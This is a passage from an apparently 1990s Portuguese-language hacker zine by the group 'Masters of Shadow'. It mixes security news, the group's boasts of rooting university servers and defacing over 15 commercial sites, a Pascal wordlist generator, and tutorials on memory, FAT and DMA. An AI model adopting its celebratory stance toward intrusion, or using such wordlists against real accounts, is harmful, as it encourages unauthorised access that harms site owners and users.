vez no Brasil, a policia prendeu uma pessoa qe cometeu crimes via e-mail. O analista de sistemas de uma empresa de comunicacao de Sao Paulo, foi indiciado sob acusacao de enviar mensagens com ameacas de cunho sexual a mulheres via Internet. O acusado usou o endereco eletronico estrupador@macho.com (o erro d portu- gues e do acusado) para enviar mais de 700 mensagens pornograficas para as jornalistas Maria Cristina Poli da TV Cultura e Barbara Gancia da Folha de Sao Paulo. Segundo o delegado responsavel pela prisao, em 48 horas foram realizadas buscas em varios provedores da Internet com um prog. especial d busca, qe permitiu a prisao em flagrante do rapaz na empresa onde ele tra- balha. Os e-mails ameacadores, que serao usados como provas no processo, foram encontrados gravados no computador do acusado, que e casado e teria implo- rado para que a policia nao contasse sobre a prisao a sua mulher. [Nota do editor: A natureza da prisao demonstra a inteligencia d nosso criminoso.. hmm.. ate q a policia se vira lega hehehe.... ] (16). ESPECIALISTA SIMULA ATAQUE AO HOME BANKING DO BANCO DO BRASIL ****** No ultimo sabado, o especialista em seguranca de dados, Andre dos Santos, que trabalha na Universidade da California, provou qe poderia pro- vocar um ataque mal-intencionado ao home banking mantido pelo Banco do Brasil na Web. Usando tecnicas de ataque a classes Java implementadas pelo banco no seu sistema de login do home banking, Andre "furou" o esquema de protecao e conseguiu capturar informacoes sigilosas como numero da conta-corrente, senha da conta-corrente e senhas da Internet antes que elas fossem encrip- tadas. O ataque foi filmado tambem por uma equipe de TV. Segundo Andre, esse tipo de ataque a classes Java ja e conhecido ha algum tempo. "Minha opiniao e que o banco nao deveria usar Java para fazer o lo- gin." O Gerente da Area de Tecnologia do banco admite que esse ataque usa uma suscetibilidade da Internet. "Nao se trata de um ataque a seguranca de um banco A ou B mas de um problema inerente a rede. Essa vulnerabilidade po- deria acontecer se estivessemos usando ActiveX, por exemplo". [Nota do editor: Esse cara deve ter lido algum texto institulado "As 10 formas de culpar alguem pelas cagadas do administrador". ] Andre argumenta q as solucoes usadas pelas instituicoes bancarias nos EUA, envolvem formularios especificos SSL (Security Socket Layer) e orientacoes para o usuario desabilitar Java e Javascript e ir direto ao site imediata- mente apos iniciar o browser. [Nota do editor: Ao qe parece o Java nao foi o Boom q c esperava, e nossos apressados colegas do BC estao com um baita abacaxi pra descascar... ] (17). M.O.S. visita universidades **************************************** Membros do MOS visitaram e rootaram com sucesso em diversas univer- sidades brasileiras. E incrivel qe Universidades pretigiosas em computacao possam apresentar tais falhas.. a principio nao podemos citar hosts espe- cificos pois ainda estamos trabalhando em alguns sistemas. (18). M.O.S. institui novo recorde nacional... *************************** Ja no primeiro dia do ano, membros do M.O.S invadiram com sucesso o host q armazena a home-page da SERASA. Ja sabiamos qe esse mesmo host sus- tentava uma vasta serie de outros dominios, dessa forma, o M.O.S. quebrou um novo recorde nacional, invadindo e alterando em apenas 1 hora, mais de 15 hosts, que incluem: Options Card, Serasa, Sexclub, NetTV, NetShop, TVA, Autonet, Netco, CDsnet, ... Como sempre, os admins sintam-se a vontade p/ nos contactar, ficaremos fe- lizes em ajudar na protecao d seu site =) (19). JOGOS DE AZAR VIA INTERNET ***************************************** Brasileiros q fazem apostas via Internet podem passar a sofrer puni- coes legais. O Procurador-Geral de Justica do Rio, Hamilton Carvalhido, aprovou o parecer do Promotor Luiz Caffaro contra jogos em cassinos virtu- ais por internautas brasileiros. O cassino citado no parecer e de um site da Ilha de Antigua, o q dificulta a aplicacao da lei brasileira especifica contra jogos de azar. O promotor alega, por isso, a incidencia de outras infracoes penais, como: crime con- tra a ordem economica e corrupcao de menores. O parecer sera enviado ao Procurador-Geral da Republica e ao Comite Gestor Internet Brasil para analise. [Nota do editor: Ai Ai Ai... tadinho... Os caras tao comecando a querer mandar na Net... hehe.. e depois nos q somos os malucos. ] (20). CLINTON ASSINA PROJETO CONTRA PIRATARIA **************************** Bill Clinton assinou terca-feira passada projeto de lei q torna con- travencao a pirataria de materiais com termo de copyright na Internet. O projeto impoe penas de 1 a 3 anos de prisao e multas d ate 250 mil dolares a qualquer pessoa condenada por copiar materiais via Internet assinados c/ direito de propriedade intelectual na Internet, como software, gravacoes, textos e filmagens. O projeto e rejeitado pelas comunidades academicas e cientificas, qe utilizam o livre fluxo de informacoes da Internet. Agora, o "No Electronic Theft Act" sera encaminhado ao Congresso dos EUA, que podera ou nao rati- ficar a lei. [Nota do editor: Ok.. ok. Na MOS #2, a nova versao do MS-Word hehe ] (21). HACKER ADOLESCENTE ASSUME AUTORIA DO LAND ATTACK ******************* "Meltman", o hacker qe produziu o codigo de ataque Land Attack, nada mais e do q um adolescente canadense de 16 anos chamado Hugo Breton. Mesmo tendo mostrado arrependimento em lancar o Land Attack ao publico, Breton alertou que estas ameacas sao bombasticas como forma d alerta as redes que dizem ser suficientemente seguras. Informou ter anteriormente utilizado a ameaca dentro de canais de IRC, fazendo com que pequenos hosts quebrassem uns aos outros. Oficialmente conhecido por "land c. code" , Land Attack tem como ob- jetivo enganar a maquina atacada ao enviar uma sessao de TCP. Quando a ma- quina "cai", a unica solucao e o reboot. Cisco, empresa que teve seus roteadores afetados pela ameaca, enviou emails de alerta aos usuarios, provendo maiores detalhes sobre a situacao. Os firewalls, diferente dos roteadores, nao se mostraram vulneraveis ao Land Attack. [Nota do editor: O q eles esperavam? Um Sr. d 70 anos? Bah! quando o cara fode um site o classificam como um adoslecente espinhudo qe passa horas no micro, mas quando faz algo inteligente acham q ele tem q ter uns 40 ani- nhos?!? ] (22). BELGICA INVESTIGA ROUBO DE INFORMACOES POLICIAIS ******************* Autoridades belgas estao investigando o que pode resultar quando uma falha na seguranca de um sistema, q contem dados importantes, e descoberta por criminosos. Recentemente, um funcionario do sistema d computacao belga SIRENE foi preso por vender informacoes policiais internacionais a organi- zacoes criminosas. SIRENE controla arquivos do grupo Schengen que contem informacoes sobre pessoas desaparecidas ou procuradas pela policia. O grupo eh formado por 15 membros, porem apenas nove(Austria, Italia, Alemanha, Espanha, Por- tugal, Luxemburgo e Paises Baixos) aplicam todas as regras alem das fron- teiras e fluxo livre de informacoes. Ate o momento nao foi descoberto quais tipos d informacao foram vendidas e por quanto tempo. Alem disso, ainda nao esta claro se a organizacao crimi- nosa opera somente na Belgica ou internacionalmente. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 05 - -------------- - Warez d00z - -------------- Como se nao bastassem os imbecis qe se divertem brincando de Nuke, e flood, outra legiao de idiotas esta conquistando cada vez mais adeptos, no Brasil e no mundo, sao os warez boys... A medida qe esses seres aumentam, junto crescem com eles centenas de BBS de outros iditoas q tambem c divertem em coletar programas. Esses por- cos, sao capazes de gastar horas, num dowload de alguma merda que eles nao sabem nem mesmo pra que serve, apenas sabem qe ela e totalmente nova, isso ja e suficiente... Quando terminam, os "esperto" gastam mais algumas outras tantas horas no upload do dito cujo, enviando-o pra um BBS ou Site de outro idiota qualq. Waez e algo estupido, qe nao tem sentido nenhum! Ou seja, eles dao um dow- load, e um upload, um dowload, e um upload... com apenas um proposito: ga- nhar maior taxa de download no sistema, e poder pegar mais arquivos. E um circulo vicioso dos mais estupidos. Nada contra warez, afinal de contas, warez de certa forma e algo in- teressante... muitos hackers usam software pirateado, assim como os lamers q fazem warez. No entanto, o hacker quer/precisa usar o software, ao inves d simplesmente estar em busca d novos niveis d ratio. Ele quer a merda do Delphi 3 porque quer fazer um programa, e nao porque e algo NOVO, e lhe dara muitos creditos em outros sistemas lamers d warez. Hackers tambem nao perdem tempo verificando quem e mais ou menos elite... ja os warez podem passar horas, apenas discutindo quem pegou um certo pro- grama primeiro. Q BOSTA! Que filha da puta c importa com isso?!? Entao, eu quero apoiar o meu colega Code, e desejar que todos os porcos qe habitam akela porra do #warez c explodam! Vcs nao valem merda. P.s.: Thanx for ideas Codeblaster ;) Wiz4rd <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 06 - ----------------------------- - KmsList (Kosmos WordList) - ----------------------------- Bem, nao e objetivo da MOS e do zine, dar programinhas prontos ou coisas do genero, mas vamos abrir algumas excessoes, como nesse caso, e expor o codigo desse programa em Pascal(YeaH!). Ele serve basicamente p/ vc aprender que o melhor programa para se adequar as suas necessidades, e o que voce proprio faz! Esse programa ira ler um arquivo texto, e, atraves dele, gerara uma wordlist(Wordlist.dic). O programa e um bom utilitario, q explana passagem de parametros, verificacao de erros de execucao e leitura de um arq texto, entre outras coisinhas mais... {---// Corte aki //----------------------------------------------------------} { KmsList (Kosmos WordList) Copyright(c) 1997, Kosmos. Another production of Masters Of Shadow. Made in Brasil. Programa fonte produzido p/ Boletim Tecnico #1. } {$M 28192,0,0} PROGRAM Kosmos_mos; USES CRT,DOS; label fim,erro1; VAR PALAVRA:STRING[30]; ARQUIVO:STRING[30]; TEXTO1:TEXT; texto2:text; CH:CHAR; i:word; x:integer; BEGIN { Zerar variavel Arquivo e Obter o arquivo a ser lido atraves de parametros } ARQUIVO:=''; if paramcount = 0 then goto erro1; for i := 1 to ParamCount do ARQUIVO:=ARQUIVO+(ParamStr(i)); { Desabilitar erros de execucao e criar wordlist e abrir texto parametro } {$i-} ASSIGN(TEXTO1,ARQUIVO); RESET (TEXTO1); ASSIGN(TEXTO2,'wordlist.dic'); REwrite(TEXTO2); if ioresult <> 0 then Begin erro1: Writeln; Writeln (#7,' Erro ',IORESULT,' ! Digite Kmslist para gerar a Wordlist.Dic'); writeln; writeln; halt(1); ENd; {$i+} WHILE NOT EOF(TEXTO1) DO BEGIN READ(TEXTO1,CH); IF ((CH = #32) {AND (PALAVRA <> '')} ) OR (CH=#13) THEN BEGIN IF (PALAVRA <> #13) AND (PALAVRA <> #10) AND (PALAVRA <> ' ') AND (PALAVRA <> ' ') AND (PALAVRA <> '') THEN BEGIN {WRITE(PALAVRA); READLN;} WRITELN(TEXTO2, PALAVRA); PALAVRA:=''; END; PALAVRA:=''; END ELSE PALAVRA:=PALAVRA+CH; END; CLOSE(TEXTO2); writeln; writeln (' Wordlist.dic gerado com sucesso ! '); writeln; writeln (' KmsList v1.0 by Kosmos'); textbackground(0); textcolor(0); writeln ('Û'); textcolor(15); for x:=1 to 50 do begin gotoxy(x,wherey+1); write (' MOS --== Masters of Shadow '); textbackground(0); textcolor(0); gotoxy(1,wherey-1); write('Û'); gotoxy(1,wherey); delay(300); textcolor(15); end; for x:=50 downto 30 do begin gotoxy(x,wherey+1); write (' MOS --== Masters of Shadow '); textbackground(0); textcolor(0); gotoxy(1,wherey-1); write('Û'); gotoxy(1,wherey); delay(300); textcolor(15); delay(150); end; textcolor(7); writeln; writeln; fim: END. {---// Corte aki //----------------------------------------------------------} Use o programa como quiser, mas.,. deixa d ser lamer e diga onde pe- gou a fonte. Se vc nao fizer isso, tb to cagando e andando... o puto e vc. Duvidas, sugestoes e criticas: mos@thepentagon.com Subject: Kosmos, kmslist P.s.: Se vc nao tem o pascal, pode pegar o programa ja compilado na nossa home-page... 'http://www.thepentagon.com/mos/'. Kosmos <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 07 - --------------------------- - Gerenciamento de Tarefa - --------------------------- Bem, agora vamos falar sobre o Gerenciamento de tarefa em um Sistema Operacional. O gerenciamento d tarefa, controla a alocacao da CPU, memoria virtual e memoria principal. O gerenciador d tarefa inclui, um despachador que reconhece tres estados de tarefa: ativa, pronta e esperando. A tarefa ativa esta em execucao. Ela tem o controle de uma CPU. Uma tarefa pronta tem todos os recursos de que ela precisa e esta esperando pela CPU para qe possa ser executada. Uma tarefa em estado de espera esta esperando q outra tarefa (como rotina de E/S) termine. Ja dissemos que o iniciador cria um bloco de controle de tarefa para uma etapa de job, EM um instante qualquer, muitos jobs, podem estar no sistema. Segue dai que podem existir tambem muitas etapas de job e muitos TCBs. Basicamente, o despachador percorre a lista de TCBs procurando por uma tarefa no estado pronto. Quando encontra uma, ele a programa para exe- cucao. Mas como gerenciar os TCBs p/ q o despachador possa percorre-los ? Os TCBs, podem ser acessados por meio dos ASCBs que a ASCR criou anterior- mente. Lembre-se d que os ASCBs na area de memoria comum. Especificamente, eles sao armazenados em um subconjunto da area comum, chamada area d filas do Sistema ( System Queue Area - SQA). A coisa e mais ou menos(ASCII SuX) assim: Prioridade Prioridade mais mais alta baixa ______ ______ ______ ______ Area d fila | ASCB | -----> | ASCB | -----> | ASCB | -----------> | ASCB | de memoria ------ ------ ------ ------ comum do | | | | sistema v v v v _______ ________ ________ ______ |RCT/TCB| ----> |RCT/TCB |----->|RCT/TCB | .......... | ASCB | ------ ------- -------- -------- ------ | | | | | | v v v v | ______ ______ ______ ______ Area de | TCB | -----> | TCB | -----> | TCB | | TCB | Memoria ------ ------ ------ ------ Privada | | | | | v v v v | ______ ______ ______ ______ | | ASCB | ------>| ASCB | ------>| ASCB | | ASCB | ------ ------ ------ ------ ------ Ha uma ASCB para cada espaco de enderecamento. Por meio dele pode-se acessar o as tabelas de segmentos e de paginas. Ele tambem aponta p/ a ta- refa de controle de regiao(Region Control Task - RCT/TCB). Lembre-se, como a RCT e uma tarefa, ela tambem tem um TCB. A RCT/TCB marca o inicio de uma cadeia TCB. Cada entrada na cadeia corresponde a uma tarefa e especifica seu estado. Quando o despachador procura por uma tarefa para ativar, percorre as cadeias d TCB associadas aos ASCBs. Ele percorre primeiro a cadeia associ- ada ao ASCB de prioridade mais alta. C encontra uma tarefa no estado pron- to, o despachador passa para ela o controle da CPU. Caso contrario, ele pesquisa a cadeia TCB associada ao proximo ASCB ate encontrar uma tarefa no estado pronto. A tarefa entao utiliza a CPU ate terminar, emitir uma solicitacao ao sistema operacional ou utilizar todo seu quantum. O despachador entao re- pete o processo. Essa abordagem e um hibrido que combina elementos de pri- oridade e escalonamento por revezamento. O despachador preemptivo forca as tarefas a assumir turnos no uso da CPU. No entanto, uma tarefa associada a um ASCB de baixa prioridade sera executado somente quando nao houver tare- fas em estados pronto associadas ao ASCBs de prioridade mais alta. :P Kosmos <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 08 - ----------------------------------------------------------------- - Transformacao de Endereco: Memoria Virtual para Memoria Real. - ----------------------------------------------------------------- Uma maneira de lidar com a discrepancia entre as organizacoes real e virtual da memoria e por meio de uma tabela de paginas, que e utilizada p/ transformar um endereco virtual em endereco real durante o ciclo de ana- lise da instrucao. Lembre-se, um compilador ou um editor de linkagem cria referencias de memoria virtual. As instrucoes e os dados do processo parecem residir nos enderecos correspondentes. A expressao transformacao dinamica de enderecos, descreve a conver- sao de um campo de endereco de uma instrucao durante sua execucao. Fazer isso durante o ciclo de analise da instrucao apresenta, uma grande vantagem. Podemos criar codigo que sempre executara, independentemente de sua posicao na memoria. Isso representa uma grande vantagem para as pessoas que escrevem software. Elas nao precisam preocupar-se em carregar um processo em posicoes espe- cificas para que ela seja executado corretamente. Com efeito, o processo torna-se independente das posicoes da memoria em qe eventualmente reside. Lembre-se, nao podemos prever quais as posicoes estarao disponiveis quando um processo esta pronto para ser executado. Vamos agora discutir a tabela de paginas e o mecanismo da transfor- macao dinamica d enderecos. Antes, porem, vamos recordar o formato tipico de uma instrucao em linguagem de maquina. O endereco de memoria tem dois componente um numero de pagina e uma posicao relativa na pagina(ou deslocamento). Por exemplo, vamos supor que o endereco de memoria tenha 32 bits e que as paginas de memoria tenham 512 bytes. O desenho abaixo mostra o formato do endereco de memoria: ----------------------------------------------------- |Numero de pagina (23 bits) | Deslocamento (9 bits) | ----------------------------------------------------- O deslocamento de 9 bits poder ter 2 elevado a 9(512 bytes) valores, um para cada byte em um pagina. Assim uma referencia a "posicao de memoria 1030" significa o byte no deslocamento 6 da pagina 2. Equivalente Binario do numero 1030 | | |---------------------------------------| 0 . . . 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 1 0 |-----------------------| |-------------| | | Equivalente binario Equivalente de 2 em 23 bits. binario de 6 em 9 bits. Todas as instrucoes q devem referencia a memoria em um processo con- tem enderecos virtuais. O ciclo de analise da instrucao substituira qualq. endereco virtual por um endereco real correspondente antes que a instrucao seja executada. " - Mas como ocorre a conversao? Onde esta armazenado o endereco real para que a CPU posso transforma-la rapidamente ?" R: Depende do Sistema ! :P . Porem, uma das tecnicas consiste em fazer com q a tabela d paginas seja parte da arquitetura da CPU. A serie d compu- tadores Xerox Sigma fez isso. Entao na nossa materia, vamos tomar como base vamos usa-lo como modelo, para descrever a ideia basica, e mais adiante discutiremos outros implementacoes. Para criar uma tabela de pagina, defina uma serie de registradores d CPU. Cada entrada da Tabela corresponde a um registrador. Tipicamente ha 1 entrada para cada pagina virtual. Cada entrada contem uma pagina de memoria real correspondente a uma determinada pagina virtual. Cada entrada contem uma pagina de memoria real correspondente a uma deter- minada pagina virtual e um processo em execucao. Lembre-se de que um processo tem espaco de memoria virtual determinado por suas referencias de memoria. Quando o sistema armazena o processo na memoria, usa todas as paginas de memoria disponiveis. Nesse ponto, as referencias de memoria nas instrucoes nao correspondem às posicoes reais. No entanto, antes qe o processo receba o controle da CPU, o sistema operacional carrega numeros de paginas de me- moria reais em suas entradas da tabela de paginas. Entao, durante o ciclo de analise da instrucao, a CPU analisa cada referencia de memoria. O nume- ro d paginas, refere-se a uma entrada de tabela de paginas. A entrada, por sua vez, contem o numero de pagina da memoria real. Com esse arranjo, o sistema pode relocar um processo facilmente; tudo o q ele tem de fazer e redefinir as entradas de tabela de paginas. Essa ideia e similar aquele esquema de ENDERECAMENTO INDIRETO, exceto que ela nao re- quer uma referencia extra de memoria. Nessa implementacao da transformacao dinamica de enderecos, a referencia extra e para um registrador de CPU, o que torna a transformacao mais rapida e eficiente. Bem, vou tentar desenhar um metodo como exemplo(ASCII sux! :P)... Paginas Numero . ____________ da _____________ __________ Pagina de . | | Entrada | | | | Memoria . | | . | | | | Real . | | . | | | | . | | . | | | | . | | . | | .|.Codigo | 91 . | | . | | . | | . | | . | | . | | . |------------| 80 | 91 |. ..|.Codigo | 99 . | | 81 | 99 |..: | | . | Codigo do | 82 | 104 |....|.Codigo | 104 . | Programa | 83 | 123 |... | | . | | 84 | 128 |. :.|.Codigo | 123 . |------------| . | | . | | . | | . | | . | | . | | . | | .|.Codigo | 128 . | | . | | | | . | | . | | | | . | | . | | | | ------------ -------------- ---------- Memoria Tabela de Memoria Virtual Pagina Real Vamos supor que um usuario crie um processo que e executado nas pa- ginas virtuais de 80 a 84. Em outras palavras, todas as suas referencias sao para as paginas de numeros 80 ate 84. Agora supunhetamos que, quando o processo ganha o controle da CPU, ele resida nas paginas de memoria real 91, 99, 104, 123 e 128. Antes q o processo receba o controle da CPU, o sistema operacional carrega os numeros de pagina de memoria real nas entradas 80 a 84 da tabela de pa- ginas; ate onde interessa ao processo, as instrucoes e dados ainda estao nas paginas 80 a 84. Agora supunhetamos (de novo) q a primeira instrucao esteja no deslocamento 0 da pagina 80. Quando o processo comecar a execucao, o contador de pro- grama contera aquele endereco. Durante a busca da instrucao, o valor 80 estara nos bits superiores d enderecamento. mas 80, na realidade se refere a uma entrada na tabela de paginas. A CPU usa o valor naquela entrada para determinar a pagina de memoria a ser acessada. Nesse caso, ela busca a primeira instrucao a partir do deslocamento 0 na pagina 9(o conteudo da 80 - entrada). Em seguida, a instrucao e decodificada e executada. Vamos su- por que ela faca referencia ao enderecamento dado pelo deslocamento 73 na pagina 84. Novamente, esse e um enderecamento virtual. A CPU substituira 84 pelo valor na entrada 84 da tabela de paginas. Essa e a pagina de memo- ria a ser referenciada. Aqui a instrucao realmente faz referencia ao des- locamento 73 na pagina 128. Se o processo nao sofreu desvio, a proxima instrucao sera obtida do deslocamento 1 na pagina virtual 80. Por meio da transformacao dinamica de enderecos, a CPU realmente a busca do deslocamento 1 da pagina de memoria real 91. A instrucao e analisada e todas as referencias de memoria subse- quentes sao dirigidas atraves da tabela de paginas. Note que o codigo que parece residir consecutivamente nas paginas 80 e 81 esta realmente armaze- nado nas paginas 91 e 99, Assim, a transformacao dinamica de enderecos mu- da aquilo que parece ser referencia consecutivas. E claro que nem todos os sistemas implementam as tabelas de paginas exata- mente dessa forma. No entanto, o uso d uma tabela d paginas para relocacao e comum, e minha materia ilustra a logica usada para converter enderecos virtuais em enderecos reais. :P Kosmos <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 09 - ---------------------------------- - Tabela de Alocacao de Arquivos - ---------------------------------- Um fato q me deixou um tanto quanto curioso, foi qe com o surgimento de HD's maiores de 1Gb, a moda era se falar de Clusters, particionar o HD e coisa e tal. Algumas HPs "hackers" ate fizeram materias falando sobre, com as tabelinhas de Mb, por divisao. O interessante mesmo, e que ninguem nem sequer se preocupou em saber como funcionava afundo a Tabela de Alocacao de Arquivos. Entao vamos a ela... Antes um lembrete: Para discos de dupla face, o MS-DOS aloca setores em clusters de dois setores. O mais importante agora, e o fato de qe o MS-DOS numera os clusters comecando em 0. Assim, se temos 720 setores, o MS-DOS numera os clusters de 0 a 359. Se o MS-DOS souber o numero do cluster, po- dera calcular o numero dos setores. O primeiro setor de um cluster e' o numero do cluster multiplicado por 2. O segundo e simplesmente o proximo setor logico. A partir dai, ele pode calcular o numero de trilhas e o nu- mero relativo do setor. Dessa forma, o MS-DOS conseguira encontrar qualquer arquivo, desde que ele possa encontrar todos os clusters alocados a ele. Como os arquivos, podem ocupar numeros variaveis de clusters, o MS-DOS, armazena os numeros na forma de uma lista ligada. Cada no na lista e na realidade uma entrada da FAT. A entrada do diretorio para o arquivo contem o numero do primeiro cluster e a posiçca do primeiro no. A maneira pela qual o MS-DOS implementa a lista ligada e um tanto interes- sante: cada valor da FAT serve a duas finalidades. Ele indica nao somente um numero de cluster, mas tambem a entrada da FAT onde o MS-DOS pode loca- lizar, o proximo numero do Cluster. Localizando as entradas da FAT. Cada entrada da FAT, e associada a um determinado arquivo, mas a im- plementacao, nao e tao direta quanto possa parecer a principio. Observar q cada entrada da FAT deve ser capaz de armazenar um valor de ate 359. Discos de densidade mais alta tem mais clusters e consequentemente numeros maiores. Assim, a maior entrada FAT pode passar de 359. O problema, e qe a entrada da FAT precisa de mais de um byte, ja que um byte esta limitado ao valor maximo de 255. Se cada entrada da FAT tivesse 2 bytes, o maior seria (2^16) - 1, ou 65.535. Isso e facilmente suficiente para conter qq numero de cluster que precisemos. Porem, o MS-DOS usa somente 1 1/2 byte para cada entrada. Como 1 1/2 byte sao 12 bits, pode conter numeros de cluster d ate (2^12) -1, ou 4.095. A vantagem de se usar 12 bits em vez d 16 e que as entradas FAT sao menores. Assim, a FAT requer menor espaco, deixando mais espaco p/ os ar- quivos. A desvantagem e a complicacaoo de manusear unidades de 12 bits. Pq mais dificuldade ? Bem... Como cada entrada FAT ocupa 1 1/2 byte, o DOS armazena duas entradas consecutivas em 3 bytes consecutivos. Assim, dado um numero de entrada, a primeira coisa que o MS-DOS deve fazer e identificar os dois bytes corres- pondentes no setor FAT. Entao carrega os dois bytes, em um registrador... Mas somente 12 dos 16 bits sao o valor real da FAT. A questao portanto e: "Quais 12 bits ?" He He He. Para complicar ainda mais, o microprocessador armazena inteiros de 2 bytes na memoria com o byte menos significativo primeiro e o mais significativo depois. Bem vamos ver agora qual a capacidade de nossos leitores... No proximo zine eu dou a resposta :P KosMOS <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 10 - --------------------- - Controladores DMA - --------------------- Vc ja deve ter ouvido falar sobre controladores DMA. O unico proble- ma e q nao sabe pra servem, ou o q sao... ate agora. Os processos que usam dispositivos rapidos como fitas e discos, fre- quentemente tem de ler ou escrever milhares de caracteres de cada vez. Os dispositivos e processos poderao ser muito mais eficientes se um bloco de caracteres for transferido em cada operacao em vez de um unico caractere. O acesso direto a memoria (Direct Memory Acess - DMA, Eureca !), permite a transferencia de bloco de caracteres. Ele permite que o controlador acesse a memoria por si mesmo. Com a E/S programada, a CPU tinha de transferir cada um dos caracteres e o controlador baseado em DMA representa um nivel maior de sofisticacao. ____________________________ | Memoria | ---------------------------- O controlador pode A A O controlador pode ler dados da memoria | | ler dados da memoria e e armazenar dados na | | armazenar dados na me- memoria. V V moria. _____________ __________ | Controlador | <----> | CPU | ------------- ---------- A CPU ativa o controlador e o controlador interrompe a CPU. O desenho, mostra um controlador DMA e uma CPU. Quando um processo em execucao precisa ler ou escrever dados: o driver ativa o controlador como antes, mas nao transfere dado algum. Em vez disso, ele manda ao con- trolador as informacoes necessarias. As informacoes sao essas (acho qe nao esqueci de nenhuma, qq coisa corrija-me): * A operacao a ser executada. * Um endereco indicando a posicao de memoria que ele deve acessar. * O numero de caracteres a transferir. * O dispositivo envolvido Logo que o controlador recebe essa informacoes, ele inicia o acesso a memoria. Se o comando era uma solicitacao d escrita, o controlador aces- sa o numero especificado de caracteres contiguos, comecando no endereco especificado, e coloca os caracteres no dispositivo. Quando o controlador, interrompe a CPU, como antes, o sistema operacional responde a interrup- cao. Se a solicitacao de E/S era para uma leitura, ocorrem acoes analogas. A vantagem, naturalmente, e qe ha menos de interrupcoes. Isso faz como que a CPU fique ainda mais disponivel para os outros processos. Mesmo que nao haja outros processos(por exemplo, sistema monotarefa), menos interrupcoes significam maior eficiencia. * Roubo de Ciclo Os acessos simultaneos a memoria por dois componentes distintos de hardware criam um novo problema: E se eles entrarem conflito ? Se tanto o controlador como a CPU utilizam os mesmos barramentos, o que acontecera se ambos o par de dois (:P), tentarem acessar a memoria ao mesmo tempo ? Mes- mo que eles usem diferentes barramentos, o que acontecera c ambos tentarem acessar o mesmo modulo de memoria simultaneamente ? De qq forma, o resultado e o mesmo: ha um conflito porque o Hardware pode atender somente a um acesso de cada vez ! Em casos assim, um arbitro da a preferencia ao controlador. A CPU fica impedida de acessar o barramento ou o modulo d memoria durante alguns ciclos de relogio interno, e assim a CPU e retardada. Chamamos isso "roubo de ciclo", ja que o controlador rouba alguns ciclos da CPU. Note que essa nao e uma interrupcao como aquelas descritas na secao anterior. A CPU nao foi interrompida, mas sim retardada.A CPU nao salva o estado atual do pro- cesso nem chama um manipulador d interrupcao. O retardamento ocorre estri- tamente no hardware. *Uso de Buffers Quando um driver inicia uma operacao de E/S para um processo, ele dev especificar uma posicao de memoria - mas qual ? Pareceria logico espe- cificar a posicao indicada pelo processo; no entanto, frequentemente isso nao e feito. Em vez disso, o driver em geral especifica uma area separada de memoria, chamada buffer. Mas por que nao transferir os dados entre o dispositivo e a memoria do processo ? Ha varias razoes. A primeira e que o processo requer e o que o controlador fornece podem nao ser a mesma coisa. Por exemplo, vamos supunhetar qe um processo queira ler um registro , declarado em um programa Pascal (Rulez) ou Cobol (SuX), d um arquivo de disco. Em virtude das caracteristicas dos discos, o controlador na realidade le um setor inteiro contendo um registro. Mas onde, o contro- lador coloca os dados do setor ? Provavelmente esse contem muito mais dados que o processo queria, e o pro- cesso nao tem o espaco para eles. Um buffer e usado para guardar conteudo do setor. So entao, o registro e transferido do buffer para memoria do processo. Vale notar que solicitacoes subsequentes de leitura para registros que ja estao no buffer, nao causam uma transferencia fisica de dados. Como os da- dos ja forma lidos, eles precisam apenas ser movidos do buffer pra a memo- ria do processo. Devemos observar, que embora o uso de buffers seja comum, as vezes os dados sao transferidos diretamente p/ ou da memoria do proces- so. A vantagem e que isso elimina uma etapa extra. A desvantagem e que a parte do processo nao pode ser removida da memoria, deixando menos memoria disponivel para os outros processos. Kosmos <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - 11 - ---------------- - Unix Basic's - ---------------- Grnde parte dos zines q eu tenho visto, usam e abusam das velhas ex- pressoes do tipo: - "Se voce quer fazer algo decente, use Unix" - "Delete o DOS da sua maquina e instale Unix seu lamer" por ai vai(...) Alguns ate tentaram fazer uma lista de comandos... Lamers!! De Que adianta falar e usar, sem ao menos entender porq e como a coisa funciona? [ Historia ] Ao contrario do qe voce possa pensar, o Unix nao e um sistema opera- cional; ele e uma familia d sistemas operacionais. Descrito pela primeira vez em 1974 por Thompson e Ritchie, ele rapidamente tornou-se um dos sistemas mais difundidos no mundo. Existem muitas versoes do Unix, um exemplo seria o AIX, feito pela IBM. As versoes diferem ligei- ramente de umas para outras, mas na epoca, eram feitas para rodarem em computadores diferentes, como o PDP-11, o UNISYS 1100 series, VAX-11/780, IBM 370, computadores pessoais e estacoes de trabalho baseadas nos micro- processadores Motorola MC68000, INTEL8086 e outros. As duas versoes mais populares do Unix, sao o System V, q e produzido pela AT&T, e o sistema BSD, desenvolvido pela Universidade, em Berkley, e popu- larizado pela SUN Microsystems. Abaixo, vamos nos ate basicamente ao Unix System V. [ Arquitetura ] _____________ <| Aplicativos |> Usuarios ou softwares aplicativos. ------------- | _____________ <|Interpretador|> O interpretador de comando do Unix, aceita comandos d <| de comandos |> um aplicativo, interpreta-os e chama o nucleo do Unix <| do Unix |> para processa-los. ------------- | _____________ <| Núcleo do |> O Nucleo do Unix e residente na meoória, ele executa <| do Unix |> funcoes frequentemente necessarias, como escalonamen- ------------- to, alocacao de memoria, e resposta as solicitacoes | do usuario. | _____________ <| Maquina |> O Unix pode ser implantado numa variedade de maquinas ------------- como os computadores VAX-11, IBM370, Amdahl 470, ar- quiteturas baseadas no Motorola MC68000 e Intel 8086. O esquema acima mostra o projeto em iiveis, caracteristico do Unix. No nivel superior, estao os usuarios ou softwares explicativos. As solici- tacoes dos processos sao manipuladas pelo segundo nivel, chamado 